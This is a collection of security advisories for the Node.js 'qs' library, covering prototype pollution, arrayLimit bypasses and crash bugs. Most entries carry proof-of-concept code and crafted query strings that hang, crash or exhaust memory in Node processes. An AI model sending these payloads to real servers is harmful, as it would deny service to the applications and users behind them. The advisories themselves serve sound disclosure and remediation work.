qs known bugs

Versions prior to 1.0 of `qs` are affected by a denial of service condition. This condition is triggered by parsing a crafted string that deserializes into very large sparse arrays, resulting in the process running out of memory and eventually crashing. ## Recommendation Update to version 1.0.0 or later.

qs before 6.10.3 allows attackers to cause a Node process hang because an `__ proto__` key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as `a[__proto__]=b&a[__proto__]&a[length]=100000000`. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.

Affected version of `qs` are vulnerable to Prototype Pollution because it is possible to bypass the protection. The `qs.parse` function fails to properly prevent an object's prototype to be altered when parsing arbitrary input. Input containing `[` or `]` may bypass the prototype pollution protection and alter the Object prototype. This allows attackers to override properties that will exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances. ## Recommendation Upgrade to 6.0.4, 6.1.2, 6.2.3, 6.3.2 or later.

Versions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string. ## Recommendation Update to version 1.0.0 or later

### Summary `qs` `v6.15.3` allows bracket-key input to bypass `arrayLimit` and `throwOnLimitExceeded` when `comma: true`. The input `a[]=1,2,3,4` succeeds with `arrayLimit: 3`, while the equivalent plain-key input is rejected. Affected version tested: ```text qs v6.15.3 commit 18d085e919dae70c8f1b200ab99323058edab2c2 ``` ### Details `parseArrayValue()` enforces the comma limit only for flat values. The `a[]` form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays. ### PoC ```js const qs = require('qs') const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true } const result = qs.parse('a[]=1,2,3,4', options) console.log(result.a[0].length) // 4; expected RangeError const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 }) console.log(big.a[0].length) // 1000001 ``` On `v6.15.3`, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent `a=1,2,3,4` input throws `RangeError` as expected. ### Impact An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main`: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <=6.15.1` The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).

### Summary `qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw. An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip. ### Details `utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value: ```js if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... } ``` `utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); }; ``` `constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation. ### Trust Boundary Note `qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. ### PoC `poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw: ```js 'use strict'; var qs = require('qs'); var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y var parsed = qs.parse(untrustedQueryString, { plainObjects: true }); console.log('[parse] kept constructor key:', JSON.stringify(parsed)); try { qs.stringify(parsed); console.log('[stringify] no throw (unexpected)'); } catch (e) { console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02_isBuffer.js` — the minimal defect: ```js 'use strict'; var qs = require('qs'); try { qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}')); } catch (e) { console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02b_isBuffer_async_crash.js` — worker death in an async sink: ```js 'use strict'; var qs = require('qs'); function handleRequestAsync(clientJsonBody) { try { setImmediate(function () { // async continuation, outside the try qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught }); console.log('[handler] returned 200 synchronously; async work scheduled'); } catch (e) { console.log('[handler] caught synchronously (will NOT happen):', e.message); } } process.on('exit', function (code) { console.log('[proc] process exiting with code:', code); }); handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}'); ``` ### Execution Steps ```bash cd poc npm install [email protected] node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError node poc02_isBuffer.js # minimal defect -> TypeError inside stringify node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1 ``` ### Reproduction Evidence `poc02c_isBuffer_qs_only_roundtrip.js` : ``` [parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}} [stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02_isBuffer.js`: ``` [A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02b_isBuffer_async_crash.js` : ``` [handler] returned 200 synchronously; async work scheduled [proc] process exiting with code: 1 TypeError: obj.constructor.isBuffer is not a function at Object.isBuffer (.../qs/lib/utils.js:332:78) at stringify (.../qs/lib/stringify.js:127:45) === EXIT CODE: 1 === ``` The pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker. ### Impact An unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`. ### Recommended Fix Replace the duck-type with a brand check mirroring `utils.isRegExp`: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') { return Buffer.isBuffer(obj); } return Object.prototype.toString.call(obj) === '[object Uint8Array]'; }; ``` If duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.

### Summary The `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations. **Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly. ### Details The `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`). **Vulnerable code** (`lib/parse.js:159-162`): ```javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } ``` **Working code** (`lib/parse.js:175`): ```javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } ``` The bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays. ### PoC ```javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) ``` **Note on parameterLimit interaction:** The original advisory's "DoS demonstration" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. ### Impact Consistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.

### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion. ### Suggested Fix Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes. **Current code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` **Fixed code:** ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { const splitArray = val.split(','); if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit if (options.throwOnLimitExceeded) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } else { // Optionally convert to object or truncate, per README return splitArray.slice(0, options.arrayLimit - currentArrayLength); } } return splitArray; } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.